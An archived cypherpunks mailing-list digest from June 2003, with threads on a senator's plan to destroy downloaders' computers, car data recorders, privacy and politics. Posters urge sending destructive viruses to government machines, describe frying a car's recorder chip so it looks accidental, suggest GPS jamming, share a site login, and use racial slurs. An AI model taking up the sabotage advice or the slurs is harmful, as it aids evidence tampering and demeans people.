      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From timcmay at got.net  Wed Jun 18 20:16:57 2003
From: timcmay at got.net (Tim May)
Date: Wed, 18 Jun 2003 20:16:57 -0700
Subject: Destroying government computers
Message-ID: <7C31FD64-A204-11D7-9C17-000A956B4C74@got.net>

http://www.signonsandiego.com/news/uniontrib/wed/business/ 
news_1b18hatch.html
 >
 > June 18, 2003, WASHINGTON - The chairman of the Senate Judiciary  
Committee
 > said yesterday he favors developing new technology to remotely  
destroy the
 > computers of people who illegally download music from the Internet.
 >
 > "If that's the only way, then I'm all for destroying their machines.  
If
you
 > have a few hundred thousand of those, I think people would realize"  
the
 > seriousness of their actions, he said.


If Orrin Hatch proposes such a thing, we can propose technologies which  
identify those from .gov or .mil or other Congress/Gov't. domains and  
send lethal viruses and suchlike back to them to destroy their machines  
if they illegally connect to our machines.

(A simple warning that government stooges, lawyers, judges, clerks, and  
any GS-xx employees are not allowed to connect should suffice. After  
that, if they connect, fuck their machines dead.)


--Tim May
"Ben Franklin warned us that those who would trade liberty for a little  
bit of temporary security deserve neither. This is the path we are now  
racing down, with American flags fluttering."-- Tim May, on events  
following 9/11/2001




From ravage at einstein.ssz.com  Wed Jun 18 20:30:02 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 18 Jun 2003 22:30:02 -0500 (CDT)
Subject: cisco.com || Interpol Bureaus Around the World to Collaborate
  over VPNs (fwd)
Message-ID: <Pine.LNX.4.33.0306182229280.1657-100000@einstein.ssz.com>

---------- Forwarded message ----------
Date: Wed, 18 Jun 2003 11:11:49 -0500
Subject: cisco.com || Interpol Bureaus Around the World to
    Collaborate over VPNs


<cite>
As part of its ongoing mission to help customers leverage the
power of the Internet, Cisco Systems recently joined forces with
Interpol, an international organization that facilitates
cross-border criminal police cooperation, to create and deploy
a new Virtual Private Network (VPN) called I-247.
</cite>
http://newsroom.cisco.com/dlls/hd_052003.html>




From ravage at einstein.ssz.com  Wed Jun 18 20:30:45 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 18 Jun 2003 22:30:45 -0500 (CDT)
Subject: Mining E-mail Content for Author Identification Forensics
  (ResearchIndex) (fwd)
Message-ID: <Pine.LNX.4.33.0306182230110.1657-100000@einstein.ssz.com>

http://citeseer.nj.nec.com/devel01mining.html


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From shaddack at ns.arachne.cz  Wed Jun 18 14:11:30 2003
From: shaddack at ns.arachne.cz (Thomas Shaddack)
Date: Wed, 18 Jun 2003 23:11:30 +0200 (CEST)
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <DBB120D1-A144-11D7-9C17-000A956B4C74@got.net>
Message-ID: <Pine.LNX.4.33.0306182305070.4223-100000@Zeta>

On Tue, 17 Jun 2003, Tim May wrote:
> Unlikely. Getting juice into the innards of a box in a way so as to
> overwrite data is not nearly so simply as applying sparky things to the
> outside of the box. Lots of reasons for this.

The idea wasn't about overwriting the data. The idea was about frying the
chip with the data inside (and if all the other chips inside the box
become a collateral damage, let's that be so). As long as it is outside
the technological abilities of the given adversary to retrieve the data
from the fried chip, the objective is reached.

The idea also wasn't about the outside of the box, I thought rather
disconnecting the power leads and blasting the spark into the power-GND
pair, or into the (disconnected, we don't want to kill the entire car
electronics) data bus. With a bit of luck, the spark could get through the
filters and into the Vcc pins of the chips.




From camera_lumina at hotmail.com  Wed Jun 18 22:07:49 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Thu, 19 Jun 2003 01:07:49 -0400
Subject: Destroying government computers
Message-ID: <BAY7-F31ARf3sllNY300001e666@hotmail.com>

>The chairman of the Senate Judiciary  Committee said yesterday he favors 
>developing new technology to remotely  destroy the computers of people who 
>illegally download music from the Internet.

Well, even if they COULD develope such a technology, wouldn't it only work 
for about a day or two before a patch was made to block it? Sounds awfully 
Dilbert-like. Methinks Mr Hatch is not a very bright man.

>If Orrin Hatch proposes such a thing, we can propose technologies which  
>identify those from .gov or .mil or other Congress/Gov't. domains and  send 
>lethal viruses and suchlike back to them to destroy their machines  if they 
>illegally connect to our machines.

Why wait? And of course, such an act would be our patriotic duty, because if 
we didn't, then The Terrorists certainly would when we were least prepared 
for it.

-TD



>From: Tim May <timcmay at got.net>
>To: cypherpunks at lne.com
>Subject: Destroying government computers
>Date: Wed, 18 Jun 2003 20:16:57 -0700
>
>http://www.signonsandiego.com/news/uniontrib/wed/business/ 
>news_1b18hatch.html
> >
> > June 18, 2003, WASHINGTON - The chairman of the Senate Judiciary  
>Committee
> > said yesterday he favors developing new technology to remotely  destroy 
>the
> > computers of people who illegally download music from the Internet.
> >
> > "If that's the only way, then I'm all for destroying their machines.  If
>you
> > have a few hundred thousand of those, I think people would realize"  the
> > seriousness of their actions, he said.
>
>
>If Orrin Hatch proposes such a thing, we can propose technologies which  
>identify those from .gov or .mil or other Congress/Gov't. domains and  send 
>lethal viruses and suchlike back to them to destroy their machines  if they 
>illegally connect to our machines.
>
>(A simple warning that government stooges, lawyers, judges, clerks, and  
>any GS-xx employees are not allowed to connect should suffice. After  that, 
>if they connect, fuck their machines dead.)
>
>
>--Tim May
>"Ben Franklin warned us that those who would trade liberty for a little  
>bit of temporary security deserve neither. This is the path we are now  
>racing down, with American flags fluttering."-- Tim May, on events  
>following 9/11/2001

_________________________________________________________________
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus




From shaddack at ns.arachne.cz  Wed Jun 18 18:15:54 2003
From: shaddack at ns.arachne.cz (Thomas Shaddack)
Date: Thu, 19 Jun 2003 03:15:54 +0200 (CEST)
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <B56A4D2A-A1F1-11D7-B446-003065BD2A5E@vonu.net>
Message-ID: <Pine.LNX.4.33.0306190308460.4223-100000@Zeta>

On Wed, 18 Jun 2003, jburnes wrote:
> Why go to all that trouble.  Just take it out of circuit.  Cut the
> printed circuit
> board leads and disable it or if its in an inaccessible black box, cut
> the
> leads to the box.
>
> Easy enough.

Works very nicely. :)

Problem: leaves evidence, and takes time. The main advantage of electric
shock is that the fried chip looks for the naked eye exactly the same way
as a non-fried chip. The only difference could be found with a scanning
electron microscope on the chip itself, which is something nobody is
likely to bother with. Especially in harsh environments (cars classify)
chips tend to die, so its death could look as natural enough to not be
suspicious.

If I am wrong, please tell me where and why. :)




From mv at cdc.gov  Thu Jun 19 07:41:52 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Thu, 19 Jun 2003 07:41:52 -0700
Subject: Destroying computers
Message-ID: <3EF1CBB0.69B23446@cdc.gov>

At 01:07 AM 6/19/03 -0400, Tyler Durden wrote:
> Methinks Mr Hatch is not a very bright man.

A Southern senator.  Need I say more?

Usual suspect wrote:
>>If Orrin Hatch proposes such a thing, we can propose technologies
which
>>identify those from .gov or .mil or other Congress/Gov't. domains and
send
>>lethal viruses and suchlike back to them to destroy their machines  if
they
>>illegally connect to our machines.

Trivial to do, and legal, if they are advised and consent by clicking
through.
M$'s auto bug- / RAMsnooping- reporting is legal since the lUsers
agreed.
One man's trojan is another's remote control / file sharing program,
baby.
Similarly an encryption program that won't decrypt without a license.

I have often considered releasing binaries with a EULA that stipulates
various actions taken if found to be running on machines whose IP
address
reverse-lookups to an evil, (specified) TLD.  No different than a demo
program that won't save results without a license; if the license is
granted
automatically for non-evil TLDs.  Similarly with M$'s auto posting of
RAM.

Of course, that astronomy Professor Usher would be pretty bummed when
his research was toasted by an RIAA killbot, but then the Prof employs a

provocatory surname, no?  "Collateral damage" -hey, he could change his
name, after all.  Maybe to David Nelson :-)

----
If programmers are liable for security flaws in code, are legislators
liable
for unconstitutional laws they pass?




From ravage at einstein.ssz.com  Thu Jun 19 06:31:12 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 19 Jun 2003 08:31:12 -0500 (CDT)
Subject: The Register - Researchers build gadget to see through walls
  (fwd)
Message-ID: <Pine.LNX.4.33.0306190830530.1657-100000@einstein.ssz.com>

http://www.theregister.co.uk/content/54/31304.html


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From timcmay at got.net  Thu Jun 19 08:59:59 2003
From: timcmay at got.net (Tim May)
Date: Thu, 19 Jun 2003 08:59:59 -0700
Subject: Destroying computers
In-Reply-To: <3EF1CBB0.69B23446@cdc.gov>
Message-ID: <1429EEEB-A26F-11D7-9C17-000A956B4C74@got.net>

On Thursday, June 19, 2003, at 07:41  AM, Major Variola (ret) wrote:

> At 01:07 AM 6/19/03 -0400, Tyler Durden wrote:
>> Methinks Mr Hatch is not a very bright man.
>
> A Southern senator.  Need I say more?

Except Utah is not in the South by anybody's definition.

> Of course, that astronomy Professor Usher would be pretty bummed when
> his research was toasted by an RIAA killbot, but then the Prof employs 
> a
>
> provocatory surname, no?  "Collateral damage" -hey, he could change his
> name, after all.  Maybe to David Nelson :-)
>

I was going to mention Prof. Usher in a follow-up I was mentally 
planning a few minutes ago.

For those who may not have heard about him, he's a retired astronomy 
prof. who included a .MP3 of one of his own songs on his Web site. The 
record company conglomerate representing the negro minstrel named 
"Usher" somehow found his site, found that it had .MP3 files, and made 
the assumption the site was pirating the minstrel Usher's music. They 
fired off threatening letters and demanded action.

Had Orrin Hatche's seek and destroy software been available, his site 
would have been toast.

When the record company was informed of the truth, they proposed to 
send him a free Usher t-shirt. Just what a retired white astronomy prof 
wants, the t-shirt of a negro rap crapper.

--Tim May




From timcmay at got.net  Thu Jun 19 09:07:36 2003
From: timcmay at got.net (Tim May)
Date: Thu, 19 Jun 2003 09:07:36 -0700
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <Pine.LNX.4.33.0306190308460.4223-100000@Zeta>
Message-ID: <24953EAE-A270-11D7-9C17-000A956B4C74@got.net>

On Wednesday, June 18, 2003, at 06:15  PM, Thomas Shaddack wrote:

> On Wed, 18 Jun 2003, jburnes wrote:
>> Why go to all that trouble.  Just take it out of circuit.  Cut the
>> printed circuit
>> board leads and disable it or if its in an inaccessible black box, cut
>> the
>> leads to the box.
>>
>> Easy enough.
>
> Works very nicely. :)
>
> Problem: leaves evidence, and takes time. The main advantage of 
> electric
> shock is that the fried chip looks for the naked eye exactly the same 
> way
> as a non-fried chip. The only difference could be found with a scanning
> electron microscope on the chip itself, which is something nobody is
> likely to bother with. Especially in harsh environments (cars classify)
> chips tend to die, so its death could look as natural enough to not be
> suspicious.
>
> If I am wrong, please tell me where and why. :)
>

The point being that sensor data from outside the box does NOT get 
written to either flash or disk drive storage directly. It is collected 
from many places and fed through the assortment of microprocessors.

High voltages are clamped in the usual ways, with Schottky diodes 
protecting the inputs, etc. Even if signals massively outside the specs 
got into the boxes, it would be the processors which got fried, not the 
storage devices. This was my point about how "sparky things" would not 
overwrite data.

It takes logic to correctly write to storage.

The processors and peripheral logic _might_ be zapped, but the storage 
chips would almost certainly not have been erroneously 
overwritten...just a matter of disconnecting them and reading them in 
another system, something most forensic or recovery labs probably have 
many jigs set up for.


--Tim May




From jwashburn at whittmanhart.com  Thu Jun 19 07:27:19 2003
From: jwashburn at whittmanhart.com (John Washburn)
Date: Thu, 19 Jun 2003 09:27:19 -0500
Subject: [Brinworld] Car's data recorder convicts driver
Message-ID: <9A1CCCE54805534C80F5BD0FC19D1E6B179859@chi-exch02.ffhq.ffconsulting.net>

A better definition of privacy is:

When Mr. GovernmentAgent or Mrs. BusyBody asks, you have the ABILITY to
say yes, no, or bugger off and they have no recourse in the matter but
to involve magistrates.

This is why the ABILITY to look up the information in the face-scanning,
RFID-tracking, Money Monitoring, GPS, Insurance Service Evaluation
system(s) (government or corporate), is an intuitive affront to most
peoples' intuitive sense of what privacy is.

-----Original Message-----
From: Thomas Shaddack [mailto:shaddack at ns.arachne.cz] 
Sent: Tuesday, June 17, 2003 5:48 PM
To: cypherpunks at lne.com
X-Orig-To: Adam Shostack
Cc: John Kelsey; Shawn K. Quinn; cypherpunks at lne.com
Subject: Re: [Brinworld] Car's data recorder convicts driver

> Just wait 'till they integrate GPS, and GPRS or 802.11.

Transmitter is easy to find. Receiver is easy to jam with a micropower
jammer. Sometimes all you need could just be creatively tweaking the
ignition and antenna wiring to get "faulty shielding" in the right
places;
it requires much more experience to make it look "accidental", though.

> Much of this can be seem in the OnStar systems, which haven't yet
> featured in divorce proceedings, afaik.

Matter of time. The next generation of sleuths will be much more tech
savvy than the current one.

> You can call up and find out where your car is.

..eg, in a nameless radio shadow.

> Adam
>
> PS: Bob Blakely once defined privacy as the right to lie and get away
> with it, which fits into some of what many people mean by privacy.

Another possible definition is the right to tell the truth and get away
with it.

But both definitions are rather about free speech than about privacy,
but
then we'd get to a fight over definitions which is in this context
better
to leave on the shoulders of people making encyclopedias.




From rah at shipwright.com  Thu Jun 19 10:00:42 2003
From: rah at shipwright.com (R. A. Hettinga)
Date: Thu, 19 Jun 2003 10:00:42 -0700
Subject: You Don't Say
Message-ID: <a060012c1bb1789b4225e@[209.86.250.112]>

<http://www.anncoulter.org/columns/2003/061803p.htm>

Ann Coulter 
You Don't Say 
June 18, 2003 


IF YOU ARE one of the millions of Americans who recently canceled your subscription to the New York Times, you may not know that we are in the middle of a civil-liberties emergency. Apparently, in the weeks following the terrorist attack of 9-11, the FBI rounded up a lot of Muslim men who were in this country illegally. Not only that, but some were actually questioned. 

These, my friends, were only some of the atrocities detailed in a "frank and blistering" report plastered all over the New York Times a few weeks ago. The report, released by the inspector general of the Department of Justice, was showcased on the front page of the Times; it was excerpted in the national section; and it was the subject of the lead editorial that day, somberly titled "The Abusive Detentions of Sept. 11." job as a reporter.The laboriously assembled report includes such shocking revelations as these: 

"[T]he Sept. 11 attacks changed the way the department, particularly the FBI and the INS, responded when encountering aliens who were in violation of their immigration status." 

"In other times, many of these aliens might not have been arrested or detained for these violations." 

And in the searing words of the New York Times: "Had it not been for the attacks, 'most if not all' of the arrests would probably have never been pursued." 

In other words, under Attorney General John Ashcroft, the FBI, the INS and the Department of Justice are so out of control that they have actually begun to enforce U.S. immigration laws. 

Also according to the report, guards at a Brooklyn detention facility - weeks after the attack and within sight of ground zero - subjected illegal immigrant Muslim detainees to "physical and verbal abuse." As the Times described it, "Detainees reported being slammed against the wall, or being subjected to such verbal taunts as 'You're going to die here.'" To quote Tony Soprano: You don't say. 

Does anyone at the Times even know any normal people? 

The detainees are in this country illegally, their co-religionists had just slaughtered thousands of Americans, and the Times is dismayed, perplexed, angry and shocked that some of them may have been subjected to the sort of manhandling that occurs in the hallways of middle schools throughout the nation. Why, I'm subjected to physical and verbal abuse every time I go through an airport security check, and I'm a citizen. 

After a bit of overheated fulminating, the Times editorial unleashed this whopper: "The inspector general's findings are particularly powerful because they come not from politicians or advocacy groups, but from a unit of the Bush administration itself." This is how the New York Times always prefaces its outrageous statements: "it is widely understood that ..."; "all learned men agree ..."; "all people of good will believe ..." 

Not so fast. The report came from Inspector General Glenn Fine - a lingering, festering Clinton appointee. 

As a rule of thumb, all career government bureaucrats are liberal Democrats. (Children in Republican families do not grow up yearning to work for the government someday.) Republican presidents come in, make a handful of appointments to each department, and then the career bureaucrats go about gleefully denouncing the Republicans while allowing themselves to described in the New York Times as "internal" whistleblowers. 

This leads to a somewhat inconsistent pattern of "internal" reports. After Janet Reno gassed American citizens in Waco, Texas, leaving 80 dead, the Justice Department's internal report "found no mistakes by anybody at the Justice Department or the FBI," in the words of Newsweek magazine. Also, one searches Lexis-Nexis in vain for any mention of an internal report on Janet Reno's commando raid against a small Cuban boy in Miami whose mother died bringing him to freedom. 

But when Clinton-appointee Fine discovered that, immediately after the 9-11 attack, Bush administration officials failed to inform the Muslim detainees "in a timely manner about the process for filing complaints about their treatment" - he produces an indignant report. (The guards should have told Fine that the illegal immigrants were liars, bimbos, "stalkers" or just wanted a book deal.) 

Accustomed to the high ethical standards of the Clinton administration, one can certainly understand Fine's outrage upon learning that guards overseeing Muslim illegal aliens after 9-11 imposed "restrictive and inconsistent policies on telephone access for detainees." Indeed, there are unconfirmed reports that several illegal detainees were prevented from using the phone to cast their votes on "American Idol." So, it was pretty much like a week in Uday and Qusay's torture rooms. 

"Instead of taking a few days as anticipated," the report says, "the clearance process took an average of 80 days, primarily because it was understaffed and not given sufficient priority by the FBI." That is pretty shocking when you consider how much time the FBI must have had on their hands immediately after 9-11. Some detainees were held so long that they had to drop out of U.S. flight schools altogether. FBI officials' explanation was that they were engaged in some mysterious project known only as "preventing the next terrorist attack on U.S. soil." 

In a remark worthy of Inspector Clouseau, Fine's report says: "Department officials acknowledged to the inspector general's office that they realized soon after the roundups began 'that many in the group of Sept. 11 detainees were not connected to the attacks or terrorism.'" Indeed, the Clinton appointee's report repeatedly takes the FBI to task for failing to "distinguish" between illegal immigrants and terrorists. Wow. What a great idea. If the FBI would simply "distinguish" between the terrorists and everyone else, then they could just arrest all the terrorists! Why didn't anyone else think of that? 

Remember this report by Clinton-appointee Glenn Fine the next time a liberal tells you a Democrat president would have done as good a job as Bush in fighting the war on terrorism. 
 
-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From rsw at jfet.org  Thu Jun 19 07:38:38 2003
From: rsw at jfet.org (Riad S. Wahby)
Date: Thu, 19 Jun 2003 10:38:38 -0400
Subject: [Brinworld] Car's data recorder convicts driver
In-Reply-To: <Pine.GSU.4.44.0306181930510.17379-100000@eskimo.com>; from eresrch@eskimo.com on Wed, Jun 18, 2003 at 07:41:53PM -0700
References: <Pine.LNX.4.33.0306190308460.4223-100000@Zeta> <Pine.GSU.4.44.0306181930510.17379-100000@eskimo.com>
Message-ID: <20030619103838.A7236@positron.mit.edu>

Mike Rosing <eresrch at eskimo.com> wrote:
> Automotive environments are known to be harsh, so electronics is protected
> to some extent.  The assumption is that spark plug voltages can get into
> sensors, so most data lines are protected as are the sensor lines.  If you
> try to fry things with double the voltage of a standard spark plug it may
> not work, if you use 10 times that it will, but the ESD protection will
> obviously be blown too.  That begins to look suspicious (but I doubt
> anyone could _prove_ you fried it on purpose).

In automotive power systems, the bigger concern is load dump.  When
there's a step change in alternator load from high to low, the commutating
inductances resulting from the field windings of the alternator can't
react quickly enough, and you tend to get big spikes on the power lines.

Perhaps this could be used to advantage---if you want to convince
someone that your electronics blew up on their own, blow up the
rectifier at the output of your alternator, too.

-- 
Riad Wahby
rsw at jfet.org
MIT VI-2 M.Eng




From gr at eclipsed.net  Thu Jun 19 08:01:12 2003
From: gr at eclipsed.net (gabriel rosenkoetter)
Date: Thu, 19 Jun 2003 11:01:12 -0400
Subject: 1st amend, thoughtcrime, schools as pipelines to jail
In-Reply-To: <Pine.BSO.4.21.0306181635450.9417-100000@anon7.arachelian.c
  om>
References: <3EF09168.92FFE142@cdc.gov>
  <Pine.BSO.4.21.0306181635450.9417-100000@anon7.arachelian.com>
Message-ID: <20030619150112.GP566@uriel.eclipsed.net>

> On Wed, 18 Jun 2003, Major Variola (ret.) wrote:
> >
http://www.latimes.com/news/local/la-me-threat18jun18001434,1,6789200.story?c
oll=la-headlines-california

On Wed, Jun 18, 2003 at 04:36:14PM -0400, Sunder wrote:
> Anyone got a "cypherpunks/cypherpunks" like login for the turd of a login?

cpunks/cpunks works.

--
gabriel rosenkoetter
gr at eclipsed.net

[demime 0.97c removed an attachment of type application/pgp-signature]




From ptrei at rsasecurity.com  Thu Jun 19 08:23:34 2003
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Thu, 19 Jun 2003 11:23:34 -0400
Subject: [Brinworld] Car's data recorder convicts driver
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A0558D181@exna07.securitydynamics.com>

Googling on ("event data recorders" automobiles) will give a lot
of hits. 

For example:
http://wpoplin.com/EventDataRecordersAutomotiveBlackBoxes.pdf

These devices are a byproduct of the introduction of
airbags - the airbag processor stores the data which led it to
deploy the bag.

This can include

delta v
vehicle speed
engine speed
brake use
throttle position
driver seatbelt use

The cited report claims they only store the most recent 5 seconds
of data, snapshotted at 1 second intervals. It notes that the data 
can thus be confusing - for example, if a wheel leaves the ground
the speed reported can be way off, and if the driver pumps the
brakes, the 'brake use' data is ambiguous. It's not clear whether they
store data continuously, or just when the airbag deploys.

OTOH, I seem to remember reports of drivers of high-end cars (Audis?
BMWs?) getting their warranties invalidated because the main car
computer noted that they had exceeded certain speeds during the
break-in period.

Its not just the airbag computer that can narc you out....

Peter




From gr at eclipsed.net  Thu Jun 19 08:25:51 2003
From: gr at eclipsed.net (gabriel rosenkoetter)
Date: Thu, 19 Jun 2003 11:25:51 -0400
Subject: Destroying government computers
In-Reply-To: <7C31FD64-A204-11D7-9C17-000A956B4C74@got.net>
References: <7C31FD64-A204-11D7-9C17-000A956B4C74@got.net>
Message-ID: <20030619152551.GQ566@uriel.eclipsed.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Wed, Jun 18, 2003 at 08:16:57PM -0700, Tim May wrote:
> If Orrin Hatch proposes such a thing, we can propose technologies which  
> identify those from .gov or .mil or other Congress/Gov't. domains and  
> send lethal viruses and suchlike back to them to destroy their machines  
> if they illegally connect to our machines.

I've said this before, but I'll say it again:

Spooks don't get AOL CDs too?

If you were going to go about blowing up someone's computer, would
you *really* do it in a traceable way? Wouldn't IP spoofing and
throwaway connections just be SOP at that point?

Do you expect a government so obviously disinterested in its
citizens' privacy to openly disclose their source IP address? C'mon.

Or do you just think that they'll be stupid enough not to know to
bother? Certainly, your first retaliation would get their attention,
and they have plenty of clout to hire smart people to deal with this
"correctly".

- -- 
gabriel rosenkoetter
gr at eclipsed.net
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Version: GnuPG v1.2.2 (NetBSD)

iD8DBQE+8dXp9ehacAz5CRoRAsN/AJ9k4qR3SWwrmKqfQXKsiRp2TOJJVACghJao
s0JIR1ud+zuSeUqFN8LbFZ0=
=ztKl
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From sunder at sunder.net  Thu Jun 19 09:25:55 2003
From: sunder at sunder.net (Sunder)
Date: Thu, 19 Jun 2003 12:25:55 -0400 (edt)
Subject: Destroying government computers
In-Reply-To: <BAY7-F31ARf3sllNY300001e666@hotmail.com>
Message-ID: <Pine.BSO.4.21.0306191217560.22704-100000@anon7.arachelian.com>

I think Herr Hatch has a wonderful idea.... no really, think about it, all
of a sudden people will start THINKING about the security implications of
the garbage scumware they run on their machines and they'll have to
install things like firewalls and harderned operating systems.  

They'll also move out of Microsoft's paper-bag security of windblows in
droves.  Just to be able to run P2P clients and still remain secure, Linux
and *BSD's will become even more popular.

Even better think how wonderful the headline will be when some dork in the
army is running a P2P client on his work machine and the RIAA destroys
it.  Why that would be destroying and hacking into .mil property!  A
treasonous terrorist act against the government!

So RIAA will be in deep shit.  If some hospital drone does the same and
RIAA kills the machine, that's hacking and damaging a computer vital to
life support...  

The effects of such a law aren't all that bad. RIAA gets to die a nice
horrible death, as does Microsoft.

----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Thu, 19 Jun 2003, Tyler Durden wrote:

> Well, even if they COULD develope such a technology, wouldn't it only work 
> for about a day or two before a patch was made to block it? Sounds awfully 
> Dilbert-like. Methinks Mr Hatch is not a very bright man.




From jwashburn at whittmanhart.com  Thu Jun 19 10:30:29 2003
From: jwashburn at whittmanhart.com (John Washburn)
Date: Thu, 19 Jun 2003 12:30:29 -0500
Subject: Destroying computers
Message-ID: <9A1CCCE54805534C80F5BD0FC19D1E6B1304BF@chi-exch02.ffhq.ffconsulting.net>

Utah is Southern?  I do not want directions from you. :-)

And as an aside why is Southern=Stupid.  Most of the truly dense people
I have met in my life are self-righteous Yankees.  

Southerners, by and large, will say "Idda know" instead of spout
foolishness.

-----Original Message-----
From: Major Variola (ret) [mailto:mv at cdc.gov] 
Sent: Thursday, June 19, 2003 9:42 AM
To: cypherpunks at lne.com
Subject: Re: Destroying computers

At 01:07 AM 6/19/03 -0400, Tyler Durden wrote:
> Methinks Mr Hatch is not a very bright man.

A Southern senator.  Need I say more?

Usual suspect wrote:
>>If Orrin Hatch proposes such a thing, we can propose technologies
which
>>identify those from .gov or .mil or other Congress/Gov't. domains and
send
>>lethal viruses and suchlike back to them to destroy their machines  if
they
>>illegally connect to our machines.

Trivial to do, and legal, if they are advised and consent by clicking
through.
M$'s auto bug- / RAMsnooping- reporting is legal since the lUsers
agreed.
One man's trojan is another's remote control / file sharing program,
baby.
Similarly an encryption program that won't decrypt without a license.

I have often considered releasing binaries with a EULA that stipulates
various actions taken if found to be running on machines whose IP
address
reverse-lookups to an evil, (specified) TLD.  No different than a demo
program that won't save results without a license; if the license is
granted
automatically for non-evil TLDs.  Similarly with M$'s auto posting of
RAM.

Of course, that astronomy Professor Usher would be pretty bummed when
his research was toasted by an RIAA killbot, but then the Prof employs a

provocatory surname, no?  "Collateral damage" -hey, he could change his
name, after all.  Maybe to David Nelson :-)

----
If programmers are liable for security flaws in code, are legislators
liable
for unconstitutional laws they pass?




From mv at cdc.gov  Thu Jun 19 12:39:37 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Thu, 19 Jun 2003 12:39:37 -0700
Subject: Senators from Utah being Southern
Message-ID: <3EF21179.10E3ED90@cdc.gov>

At 12:30 PM 6/19/03 -0500, John Washburn wrote:
>Utah is Southern?  I do not want directions from you. :-)

Well, it is southern w.r.t. certain states, but yeah, y'all got me.

But what I meant was, a jeebus-talking, flag-waving pinhead.
A look at hatchmusic.com (while its still up :-) supports that
description.

Not all niggers are negroes, you know.  And many negroes
are not niggers.  Substitute "southern"...  its culture, not
genes or geography.

I'll leave it as an exercise to the reader to discover with whom
I was confusing, or what other senators (and other
elected federal officials) give that impression.

---
"The government of the United States is not, in any sense, founded on
the
Christian religion." George Washington, November 4, 1796




From mv at cdc.gov  Thu Jun 19 12:44:47 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Thu, 19 Jun 2003 12:44:47 -0700
Subject: You Don't Say
Message-ID: <3EF212AF.61EC95CE@cdc.gov>

At 10:00 AM 6/19/03 -0700, R. A. Hettinga wrote:
><http://www.anncoulter.org/columns/2003/061803p.htm>
>thousands of Americans, and the Times is dismayed, perplexed, angry and
shocked that some of them may have been >subjected to the sort of
manhandling that occurs in the hallways of middle schools throughout the
nation.

Manhandling the bitch Coulter tolerates, and then is surprised when the
manhandled show up in trenchcoats,
with guns, lots of guns, and a simple exit plan.

Analogies to US policies, 9/11, etc left as an exercise to the reader.

---
An RPG a day keeps the invaders away...




From jya at pipeline.com  Thu Jun 19 13:21:34 2003
From: jya at pipeline.com (John Young)
Date: Thu, 19 Jun 2003 13:21:34 -0700
Subject: Destroying government computers
In-Reply-To: <Pine.BSO.4.21.0306191217560.22704-100000@anon7.arachelian.
  com>
References: <BAY7-F31ARf3sllNY300001e666@hotmail.com>
Message-ID: <E19T36t-0004Kw-00@blount.mail.mindspring.net>

Hatch issued a press release yesterday softening his remarks
but not recanting. His statement at the hearing does indeed
raise the national security threat of P2P in which mil and gov
computers using P2P could be attacked by evildoers and grab
nation-threatening information, or damage the machines.

This threat of commingling mil, gov and public users relates to
the recent CIA publication which says the Agency will not use
public networks to gather information in fear that classified
systems will be compromised. Thus, the Agency remains in the
dark about vast amounts of information available to the public,
which in turn likely distorts its intelligence reporting to national
authorities.

It would be wondrous if the Internet gradually turns the spooks
inward to protect their out of date secrets, even more so, such 
that they self-destruct like other historical institutions which
became so obsessed with their secrets they lost touch with
their supporters, indeed came to see their increasingly skeptical
supporters, outsiders, as the principal threats, and so instituted
even more spying among their supporters, meanwhile neglecting
genuine threats more distantly located.

That would fit the DC model of reality, the faith in inside information
no matter how foul just so long as only a few had access to it. Perfect
setup for manipulating the dimbulbs.

Belgium has a good idea to go after war criminals whereever they
hide behind national borders, or as in Congress, legislative
immunity coutured in national security.




From sunder at sunder.net  Thu Jun 19 13:14:35 2003
From: sunder at sunder.net (Sunder)
Date: Thu, 19 Jun 2003 16:14:35 -0400 (edt)
Subject: [NTLK] OT: Dictatorial Powers (fwd)
Message-ID: <Pine.BSO.4.21.0306191614050.22704-100000@anon7.arachelian.com>

Nice (offtopic to that list) discussion over on the NewtonTalk mailing
list.... :)

----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

---------- Forwarded message ----------
Date: Thu, 19 Jun 2003 14:56:52 -0500
